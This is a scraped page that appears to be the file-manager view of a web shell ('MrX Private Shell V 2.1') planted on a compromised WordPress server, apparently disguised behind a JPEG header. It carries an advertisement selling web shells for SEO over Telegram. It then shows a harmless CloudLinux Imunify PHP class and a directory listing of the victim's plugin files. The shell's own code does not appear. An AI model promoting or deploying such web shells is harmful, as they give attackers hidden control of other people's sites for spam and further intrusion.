����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Copyright (с) Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2025 All Rights Reserved
*
* Licensed under CLOUD LINUX LICENSE AGREEMENT
* https://www.cloudlinux.com/legal/
*/
namespace CloudLinux\Imunify\App;
/**
* Resolves the Sentry reporting environment from wp-config.php constants.
*
* Reads IMUNIFY_SECURITY_SENTRY_ENV and normalizes the value to one of the
* canonical environments (prod, dev, test). Common aliases like "production",
* "development", and "devel" are accepted and mapped automatically.
* Falls back to "prod" when the constant is missing or has an unrecognized value.
*
* @since 3.0.0
*/
class Environment {
const PROD = 'prod';
const DEV = 'dev';
const TEST = 'test';
const ALLOWED = array(
self::PROD,
self::DEV,
self::TEST,
);
const ALIASES = array(
'production' => self::PROD,
'development' => self::DEV,
'devel' => self::DEV,
);
/**
* Resolve the current environment.
*
* @return string One of the ALLOWED values (prod, dev, test).
*/
public function get() {
$value = $this->readConstant();
if ( ! $value ) {
return self::PROD;
}
if ( in_array( $value, self::ALLOWED, true ) ) {
return $value;
}
$aliases = self::ALIASES;
if ( isset( $aliases[ $value ] ) ) {
return $aliases[ $value ];
}
return self::PROD;
}
/**
* Read the IMUNIFY_SECURITY_SENTRY_ENV constant value.
*
* @return string|null The constant value, or null if not defined.
*/
public function readConstant() {
if ( defined( 'IMUNIFY_SECURITY_SENTRY_ENV' ) && is_string( IMUNIFY_SECURITY_SENTRY_ENV ) && '' !== IMUNIFY_SECURITY_SENTRY_ENV ) {
return IMUNIFY_SECURITY_SENTRY_ENV;
}
return null;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Api | Folder | 0755 |
|
|
| Defender | Folder | 0755 |
|
|
| Exception | Folder | 0755 |
|
|
| Helpers | Folder | 0755 |
|
|
| Model | Folder | 0755 |
|
|
| Views | Folder | 0755 |
|
|
| AccessManager.php | File | 1.99 KB | 0644 |
|
| AssetLoader.php | File | 1.7 KB | 0644 |
|
| DataStore.php | File | 12.55 KB | 0644 |
|
| Debug.php | File | 13.63 KB | 0644 |
|
| Environment.php | File | 1.67 KB | 0644 |
|
| Plugin.php | File | 4.7 KB | 0644 |
|
| PluginUpdateManager.php | File | 1.67 KB | 0644 |
|
| View.php | File | 999 B | 0644 |
|